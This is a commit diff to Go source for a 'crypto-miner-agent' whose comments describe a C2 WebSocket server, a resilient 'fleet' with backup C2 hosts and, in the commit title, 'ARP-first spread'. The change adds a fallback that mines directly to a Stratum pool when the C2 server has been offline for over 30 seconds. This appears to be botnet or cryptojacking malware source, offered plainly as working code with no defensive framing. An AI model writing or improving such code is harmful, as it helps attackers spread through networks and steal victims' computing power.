fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread
This commit is contained in:
@@ -15,6 +15,7 @@ import (
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
@@ -39,6 +40,10 @@ type AgentClient struct {
|
||||
agentID string
|
||||
sharesSubmitted int
|
||||
sharesAccepted int
|
||||
|
||||
// connected is true while a C2 WebSocket session is active.
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
connected atomic.Bool
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -77,6 +82,18 @@ func (c *AgentClient) Run() error {
|
||||
}
|
||||
}
|
||||
|
||||
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||
fallbackDone := make(chan struct{})
|
||||
fallbackManagerDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(fallbackManagerDone)
|
||||
c.stratumFallbackManager(fallbackDone)
|
||||
}()
|
||||
defer func() {
|
||||
close(fallbackDone)
|
||||
<-fallbackManagerDone
|
||||
}()
|
||||
|
||||
// Build deduped server list: primary first, then backups.
|
||||
// On each failure we advance to the next URL so the fleet never
|
||||
// goes dark when the primary host reboots.
|
||||
@@ -90,6 +107,8 @@ func (c *AgentClient) Run() error {
|
||||
for {
|
||||
target := serverURLs[urlIdx%len(serverURLs)]
|
||||
start := time.Now()
|
||||
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if err := c.connectLoop(target); err != nil {
|
||||
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||
}
|
||||
@@ -155,6 +174,8 @@ func (c *AgentClient) connectLoop(serverURL string) error {
|
||||
if err := c.authenticate(); err != nil {
|
||||
return err
|
||||
}
|
||||
c.connected.Store(true)
|
||||
defer c.connected.Store(false)
|
||||
|
||||
statsStop := make(chan struct{})
|
||||
go c.statsLoop(statsStop)
|
||||
@@ -617,6 +638,64 @@ func (c *AgentClient) write(msg Message) error {
|
||||
return c.conn.WriteJSON(msg)
|
||||
}
|
||||
|
||||
// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
|
||||
// connection after 30 seconds of being disconnected from the C2 server.
|
||||
// When C2 reconnects the Stratum session is stopped and the share handler is
|
||||
// restored to the C2 WebSocket path.
|
||||
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
if c.cfg.PoolHost == "" {
|
||||
return // no pool configured
|
||||
}
|
||||
|
||||
type fallback struct {
|
||||
stop chan struct{}
|
||||
wait chan struct{}
|
||||
}
|
||||
var fb *fallback
|
||||
|
||||
var disconnectedSince time.Time
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
stopFallback := func() {
|
||||
if fb != nil {
|
||||
close(fb.stop)
|
||||
<-fb.wait
|
||||
fb = nil
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
log.Printf("[stratum] fallback stopped — C2 connection restored")
|
||||
}
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
stopFallback()
|
||||
return
|
||||
case <-ticker.C:
|
||||
if c.connected.Load() {
|
||||
disconnectedSince = time.Time{}
|
||||
stopFallback()
|
||||
} else {
|
||||
if disconnectedSince.IsZero() {
|
||||
disconnectedSince = time.Now()
|
||||
}
|
||||
if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
|
||||
stop := make(chan struct{})
|
||||
wait := make(chan struct{})
|
||||
sc := miner.NewStratumClient(c.pool, c.cfg)
|
||||
go func() {
|
||||
defer close(wait)
|
||||
sc.RunFallback(stop)
|
||||
}()
|
||||
fb = &fallback{stop: stop, wait: wait}
|
||||
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func buildWSURL(serverURL string) (string, error) {
|
||||
u, err := url.Parse(strings.TrimSpace(serverURL))
|
||||
if err != nil {
|
||||
|
||||
Reference in New Issue
Block a user